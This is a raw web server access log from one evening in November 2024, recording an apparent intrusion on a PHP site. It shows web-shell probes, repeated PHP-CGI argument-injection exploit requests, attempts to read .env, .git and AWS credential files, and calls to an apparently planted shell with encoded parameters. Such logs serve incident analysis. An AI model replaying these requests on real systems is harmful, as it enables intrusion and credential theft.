[27/Nov/2024:20:30:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /alpha.php HTTP/1.1" 305
[27/Nov/2024:20:30:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /tinyfilemanager.php HTTP/1.1" 305
[27/Nov/2024:20:30:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /filemanager.php HTTP/1.1" 305
[27/Nov/2024:20:30:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /manager.php HTTP/1.1" 305
[27/Nov/2024:20:30:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wp-content.php HTTP/1.1" 305
[27/Nov/2024:20:30:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 305
[27/Nov/2024:20:30:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wp-content/plugins/wp-diambar/includes/loadme.php HTTP/1.1" 305
[27/Nov/2024:20:30:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /lock360.php?daksldlkdsadas=1 HTTP/1.1" 305
[27/Nov/2024:20:30:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /5.php HTTP/1.1" 305
[27/Nov/2024:20:30:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /01.php HTTP/1.1" 305
[27/Nov/2024:20:30:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.well-known/pki-validation/wp-signup.php HTTP/1.1" 305
[27/Nov/2024:20:31:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.well-known/wp-signup.php HTTP/1.1" 305
[27/Nov/2024:20:31:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /jindex.php HTTP/1.1" 305
[27/Nov/2024:20:31:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /0o.php HTTP/1.1" 305
[27/Nov/2024:20:31:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /ciis.php HTTP/1.1" 305
[27/Nov/2024:20:32:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /zfox.php HTTP/1.1" 305
[27/Nov/2024:20:33:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:20:37:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:20:49:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:20:49:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:20:49:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_p.png HTTP/1.1" 115
[27/Nov/2024:20:54:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:20:58:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 332
[27/Nov/2024:20:58:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config/.env HTTP/1.1" 300
[27/Nov/2024:20:58:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[27/Nov/2024:20:58:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.dist HTTP/1.1" 300
[27/Nov/2024:20:58:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /assets../.git/config HTTP/1.1" 300
[27/Nov/2024:20:58:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /files/.git/config HTTP/1.1" 300
[27/Nov/2024:20:58:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config.json HTTP/1.1" 300
[27/Nov/2024:21:11:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/images/refresh.png HTTP/1.1" 422
[27/Nov/2024:21:14:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:21:21:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/about/dialogs/hidpi/logo_ckeditor.png HTTP/1.1" 13339
[27/Nov/2024:21:26:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:21:33:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:21:34:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/widget/images/handle.png HTTP/1.1" 220
[27/Nov/2024:21:41:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:21:54:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:22:01:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[27/Nov/2024:22:04:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 332
[27/Nov/2024:22:04:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.preprod HTTP/1.1" 300
[27/Nov/2024:22:04:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/imp.php?p=789c73b68aa948cc2d2888c92849c94f2ed6d703c2f2ccaae4c4a254fdc494dccc3cfdd2829cfcc414fdb4cc9c54b03418a10aea2110d8301023233f37154497a72625e66456a516813899b9e9507550ebe0ca6176a2c8c21d92945f5a02b21b0083aa3870 HTTP/1.1" -
[27/Nov/2024:22:04:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:22:04:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.production HTTP/1.1" 300
[27/Nov/2024:22:04:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.save HTTP/1.1" 300
[27/Nov/2024:22:04:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.aws/credentials HTTP/1.1" 300
[27/Nov/2024:22:04:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.dist HTTP/1.1" 300
[27/Nov/2024:22:04:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/imp.php?p=789c73b68aa948cc2d2888c92849c94f2ed6d703c2f2ccaae4c4a254fdc494dccc3cfdd2829cfcc414fdb4cc9c54b03418a10aea2110d8301023233f37154497a72625e66456a516813899b9e9507550ebe0ca6176a2c8c21d92945f5a02b61b00bc48389e HTTP/1.1" -
[27/Nov/2024:22:04:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /linusadmin-phpinfo.php HTTP/1.1" 300
[27/Nov/2024:22:04:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:22:04:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.backup HTTP/1.1" 300
[27/Nov/2024:22:04:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /api/.git/config HTTP/1.1" 300
[27/Nov/2024:22:04:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/imp.php?p=789c73b68aa948cc2d2888c92849c94f2ed6d703c2f2ccaae4c4a254fdc494dccc3cfdd2829cfcc414fdb4cc9c54b03418a10aea2110d8301023233f37154497a72625e66456a516813899b9e9507550ebe0ca6176a2c8c21d92945f5aa2af070012f83813 HTTP/1.1" -
[27/Nov/2024:22:04:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:22:05:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/imp.php?p=789c73b68aa948cc2d2888c92849c94f2ed6d703c2f2ccaae4c4a254fdc494dccc3cfdd2829cfcc414fdb4cc9c54b03418a10aea2110d8301023233f37154497a72625e66456a516813899b9e9507550ebe0ca6176a2c8c21d92945f5a0200a2f137b6 HTTP/1.1" -
[27/Nov/2024:22:05:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1" 69120
[27/Nov/2024:22:05:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/imp.php HTTP/1.1" -
[27/Nov/2024:22:05:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:22:05:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/imp.php?p=789c554e490e80200cfc11dcbdfa0d2f05aa34a1b6718986d72bc425a4936e33e9b4ef86135875885b10bf5a73c741d9c3821602d36c774d02c18e94b0d215edd2fca8c74a1385b1d4031d24cab89481787a748fdd277f3d1bf67bc4c9beddd968d40b31ca3a1e HTTP/1.1" -
[27/Nov/2024:22:05:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:22:05:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/imp.php?p=789c73b68aa948cc2d2888c92849c94f2ed6d703c2f2ccaae4c4a254fdc494dccc3cfdd2829cfcc414fdb4cc9c54b03418a10aea2110d8301023233f37154497a72625e66456a516813899b9e9507550ebe0ca6176a2c8c21d92945f5a0200a2f137b6 HTTP/1.1" -
[27/Nov/2024:22:05:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:22:05:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/imp.php?p=789c73b68aa948cc2d2888c92849c94f2ed6d703c2f2ccaae4c4a254fdc494dccc3cfdd2829cfcc414fdb4cc9c54b03418a10aea2110d8301023233f37154497a72625e66456a516813899b9e9507550ebe0ca6176a2c8c21d92945f5a0200a2f137b6 HTTP/1.1" -
[27/Nov/2024:22:05:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/imp.php?p=789c73b68aa948cc2d2888c92849c94f2ed6d703c2f2ccaae4c4a254fdc494dccc3cfdd2829cfcc414fdb4cc9c54b03418a10aea2110d8301023233f37154497a72625e66456a516813899b9e9507550ebe0ca6176a2c8c204f352cb8b016b863758 HTTP/1.1" -
[27/Nov/2024:22:05:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:22:05:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[27/Nov/2024:22:07:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:22:07:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:22:07:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/ HTTP/1.1" 53
[27/Nov/2024:22:07:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:22:07:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ HTTP/1.1" 63
[27/Nov/2024:22:07:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/login.php HTTP/1.1" 9089
[27/Nov/2024:22:07:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/bootstrap.min.css HTTP/1.1" 115813
[27/Nov/2024:22:07:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/fonts.googleapis.com.css HTTP/1.1" -
[27/Nov/2024:22:07:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace-rtl.min.css HTTP/1.1" -
[27/Nov/2024:22:07:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/jquery-2.1.4.min.js HTTP/1.1" -
[27/Nov/2024:22:07:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/font-awesome/4.5.0/css/font-awesome.min.css HTTP/1.1" 27466
[27/Nov/2024:22:07:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace.min.css HTTP/1.1" -
[27/Nov/2024:22:07:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/images/pattern.jpg HTTP/1.1" 7080
[27/Nov/2024:22:07:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/font-awesome/4.5.0/fonts/fontawesome-webfont.woff2?v=4.5.0 HTTP/1.1" 66624
[27/Nov/2024:22:08:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/actionlogin.php HTTP/1.1" 207
[27/Nov/2024:22:08:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/login.php?refer= HTTP/1.1" 9089
[27/Nov/2024:22:08:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/actionlogin.php HTTP/1.1" 207
[27/Nov/2024:22:08:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/login.php?refer= HTTP/1.1" 9089
[27/Nov/2024:22:10:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/about/ab.php HTTP/1.1" 172
[27/Nov/2024:22:10:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/about/ab.php HTTP/1.1" 245120
[27/Nov/2024:22:10:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/about/ab.php HTTP/1.1" 4204
[27/Nov/2024:22:10:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/about/ab.php HTTP/1.1" 13528
[27/Nov/2024:22:10:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/about/ab.php HTTP/1.1" 13528
[27/Nov/2024:22:10:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/about/ab.php HTTP/1.1" 5376
[27/Nov/2024:22:10:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/about/ab.php HTTP/1.1" 5376
[27/Nov/2024:22:10:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/about/ab.php HTTP/1.1" 1112
[27/Nov/2024:22:10:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/about/ab.php HTTP/1.1" 1112
[27/Nov/2024:22:11:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 153
[27/Nov/2024:22:11:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 4256
[27/Nov/2024:22:11:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 244008
[27/Nov/2024:22:11:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/about/ab.php HTTP/1.1" 9216
[27/Nov/2024:22:11:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/about/ab.php HTTP/1.1" 9216
[27/Nov/2024:22:12:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 4200
[27/Nov/2024:22:12:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 1828
[27/Nov/2024:22:12:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 8232
[27/Nov/2024:22:12:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 8232
[27/Nov/2024:22:12:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 2344
[27/Nov/2024:22:12:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 2344
[27/Nov/2024:22:12:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 22756
[27/Nov/2024:22:13:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 9900
[27/Nov/2024:22:14:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 5824
[27/Nov/2024:22:14:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 4500
[27/Nov/2024:22:14:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 744
[27/Nov/2024:22:14:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 2488
[27/Nov/2024:22:14:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 1588
[27/Nov/2024:22:14:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 4768
[27/Nov/2024:22:14:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 2708
[27/Nov/2024:22:14:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 2708
[27/Nov/2024:22:15:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 27304
[27/Nov/2024:22:15:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 680
[27/Nov/2024:22:15:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 696
[27/Nov/2024:22:15:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 2472
[27/Nov/2024:22:15:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 13524
[27/Nov/2024:22:15:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 2548
[27/Nov/2024:22:15:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 5364
[27/Nov/2024:22:15:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 9204
[27/Nov/2024:22:16:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 28728
[27/Nov/2024:22:16:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 28728
[27/Nov/2024:22:16:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 3732
[27/Nov/2024:22:16:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 496
[27/Nov/2024:22:16:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 1088
[27/Nov/2024:22:17:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 9204
[27/Nov/2024:22:17:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 9204
[27/Nov/2024:22:17:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 2980
[27/Nov/2024:22:17:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 2980
[27/Nov/2024:22:17:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 9204
[27/Nov/2024:22:17:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 9204
[27/Nov/2024:22:17:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 932
[27/Nov/2024:22:17:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 932
[27/Nov/2024:22:17:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 9204
[27/Nov/2024:22:17:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 9204
[27/Nov/2024:22:17:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 3664
[27/Nov/2024:22:17:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 3664
[27/Nov/2024:22:17:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 1108
[27/Nov/2024:22:17:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 680
[27/Nov/2024:22:17:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 672
[27/Nov/2024:22:17:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 672
[27/Nov/2024:22:18:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 4896
[27/Nov/2024:22:18:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 680
[27/Nov/2024:22:18:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 948
[27/Nov/2024:22:18:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 468
[27/Nov/2024:22:18:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 5428
[27/Nov/2024:22:18:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 680
[27/Nov/2024:22:18:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/api.php HTTP/1.1" 1344
[27/Nov/2024:22:20:37 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:22:25:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[27/Nov/2024:22:34:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:22:40:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:22:40:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:22:40:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/icons.png HTTP/1.1" 20833
[27/Nov/2024:22:47:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/accordion_arrows.png HTTP/1.1" 184
[27/Nov/2024:22:54:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:22:57:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/refresh.png HTTP/1.1" 757
[27/Nov/2024:23:02:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
[27/Nov/2024:23:10:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/magicline/images/icon-rtl.png HTTP/1.1" 138
[27/Nov/2024:23:14:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:23:31:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/flash/images/placeholder.png HTTP/1.1" 256
